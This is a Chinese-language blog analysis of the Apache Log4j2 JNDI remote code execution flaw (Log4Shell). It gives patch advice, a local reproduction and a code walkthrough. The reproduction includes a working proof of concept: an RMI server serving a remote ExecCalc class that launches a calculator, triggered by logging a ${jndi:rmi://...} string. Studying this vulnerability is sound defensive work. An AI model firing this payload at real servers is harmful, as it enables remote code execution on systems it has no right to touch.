Apache Log4j 远程代码执行漏洞源码级分析
漏洞的前因后果
2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。详情见 【漏洞预警】Apache Log4j 远程代码执行漏洞
漏洞描述
Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。
由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞评级
Apache Log4j 远程代码执行漏洞 严重
。
影响版本
Apache Log4j 2.x <= 2.14.1
安全建议
1、升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。
本地复现漏洞
首先需要使用低版本的 log4j 包,我们在本地新建一个 Spring Boot 项目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以复现漏洞。
参考 Apache Log4j Lookups,我们先使用代码在 log 里获取一下 java:vm。
本地打印 JVM 基础信息
@SpringBootTest
class Log4jApplicationTests {
private static final Logger logger = LogManager.getLogger(SpringBootTest.class);
@Test
void log4j() {
logger.info("content {}", "${java:vm}");
}
}
可以发现输出是:
content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)
使用 JavaLookup 获取到了 JVM 的相关信息(需要使用java
前缀)。
本地获取服务器的打印信息
本地启动一个 RMI 服务:
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8081/";
// Reference 需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
Reference reference = new Reference("ExecCalc", "ExecCalc", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
}
}
ExecCalc 类直接放在根目录,不能申请包名,即不能存在 package xxx。声明后编译的 class 文件函数名称会加上包名从而不匹配。参考 Java 安全-RMI-JNDI 注入。
public class ExecCalc {
static {
try {
System.out.println("open a Calculator!");
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
}
之后启动上面的 Server 类,再执行下面的代码:
@Test
void log4jEvil() {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}
发现测试用例的控制台输出了 open a Calculator!
并启动了计算器。
log4j 漏洞源码分析
只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
这段代码,首先会调用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}
其中 LogEvent 结构如下:
encode 对应的事件,将 ${param} 里的 param 解析出来,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
调用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,将对应参数解析出结果。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
和官方文档上是能够对应上的,即 log 里只解析前缀为 date
、jndi
等的命令,本文的测试用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}
。
解析出参数的结果, org.apache.logging.log4j.core.lookup.Interpolator#lookup
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
其核心是这段代码:
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
org.apache.logging.log4j.core.lookup.JndiLookup#lookup
接下来就是调用 javax.naming 的 JDK 相关代码,远程加载了 ExecCalc 类,在本地输出了 open a Calculator!
并启动了计算器。
扩展:JNDI
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用 JNDI 在局域网上定位一台打印机,也可以用 JNDI 来定位数据库服务或一个远程 Java 对象。JNDI 底层支持 RMI 远程对象,RMI 注册的服务可以通过 JNDI 接口来访问和调用。
JNDI 是应用程序设计的 Api,JNDI 可以根据名字动态加载数据,支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等等。
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
危害是什么?
- client 可以获取服务器的某些信息,通过 JNDI 远程加载类
- client 向服务器注入恶意代码
GitHub 项目
Java 编程思想-最全思维导图-GitHub 下载链接,需要的小伙伴可以自取~
原创不易,希望大家转载时请先联系我,并标注原文链接。
参考链接
- Java 安全-RMI-JNDI 注入
- Lesson: Overview of JNDI
- https://logging.apache.org/log4j/2.x/manual/lookups.html
Apache Log4j 远程代码执行漏洞源码级分析的更多相关文章
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- 修复Apache Log4j任意代码执行漏洞安全风险通告
2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- 【预警通告】Apache Struts2 远程代码执行漏洞
Apache Structs2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638.攻击者可以在使用该插件上传文件时,修改HTTP请求头中的 ...
- Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)
Apache Kylin远程代码执行(CVE-2020-1956) 简介 Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库.该产品主要提供 Hadoop/Sp ...
- SMB远程代码执行漏洞(CVE-2020-0796)分析、验证及加固
这几天有点忙,CVE-2020-0796出来了,没静下心来关注一下,显得太不尊重这个漏洞了,今天周末,关注一下,水一篇. 一.漏洞描述 漏洞公告显示,SMB 3.1.1协议 ...
- Apache Unomi 远程代码执行漏洞复现(CVE-2020-13942)
一.漏洞描述 Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验.在Apa ...
随机推荐
- 团队内部密码共享方案:KeePassXC+微盘(企业微信)
目录 需求描述 适用场景 安装使用 KeePassXC初始化 浏览器插件安装设置 1.火狐 2.Edge 3.Chrome 软件-插件的链接 登陆网站并保存密码 (企业微信)微盘共享内部数据库 其他 ...
- 生产服务GC调优实践基本流程总结
Photo by Pixabay from Pexels 本文作者:夜色微光 - 博客园 (cnblogs.com) 前言 对Java虚拟机进行性能调优是一个非常宽泛的话题,在实践上也是非常棘手的过程 ...
- [loj2265]最长上升子序列
以下内容参考2019年集训队论文<浅谈杨氏矩阵在信息学竞赛中的应用> 1.前置知识 杨表 标准杨表:一张网格图,满足以下条件-- 1.设其有$m$行.第$i$行有$a_{i}$个格子(格子 ...
- [loj3329]有根树
题目即求$\min_{C}\max(|C|,\min_{x\notin C}w_{x})$,考虑将$w$从大到小排序,即为$\min_{1\le k\le n}\max(k,w_{k+1})$ 考虑若 ...
- 记一次 .NET 某智能服装智造系统 内存泄漏分析
一:背景 1. 讲故事 上个月有位朋友找到我,说他的程序出现了内存泄漏,不知道如何进一步分析,截图如下: 朋友这段话已经说的非常言简意赅了,那就上 windbg 说话吧. 二:Windbg 分析 1. ...
- Codeforces 1461F - Mathematical Expression(分类讨论+找性质+dp)
现场 1 小时 44 分钟过掉此题,祭之 大力分类讨论. 如果 \(|s|=1\),那么显然所有位置都只能填上这个字符,因为你只能这么填. scanf("%d",&n);m ...
- Codeforces 1404D - Game of Pairs(构造)
Codeforces 题面传送门 & 洛谷题面传送门 首先注意到 \(\sum\limits_{i=1}^{2n}i=\dfrac{2n(2n+1)}{2}=n(2n+1)\equiv n\p ...
- Codeforces 1340F - Nastya and CBS(分块+哈希)
Codeforces 题面传送门 & 洛谷题面传送门 首先看到这样的数据范围我们可以考虑分块,具体来说,对于每一块我们记录其中的括号是否能完全消掉,以及对其进行括号相消之后的括号序列(显然是一 ...
- 洛谷 P4426 - [HNOI/AHOI2018]毒瘤(虚树+dp)
题面传送门 神仙虚树题. 首先考虑最 trival 的情况:\(m=n-1\),也就是一棵树的情况.这个我相信刚学树形 \(dp\) 的都能够秒掉罢(确信).直接设 \(dp_{i,0/1}\) 在表 ...
- Dreamweaver 2019 软件安装教程
下载链接:https://www.sssam.com/1220.html#软件简介 Adobe Dreamweaver,简称"DW",DW是集网页制作和管理网站于一身的所见即所得网 ...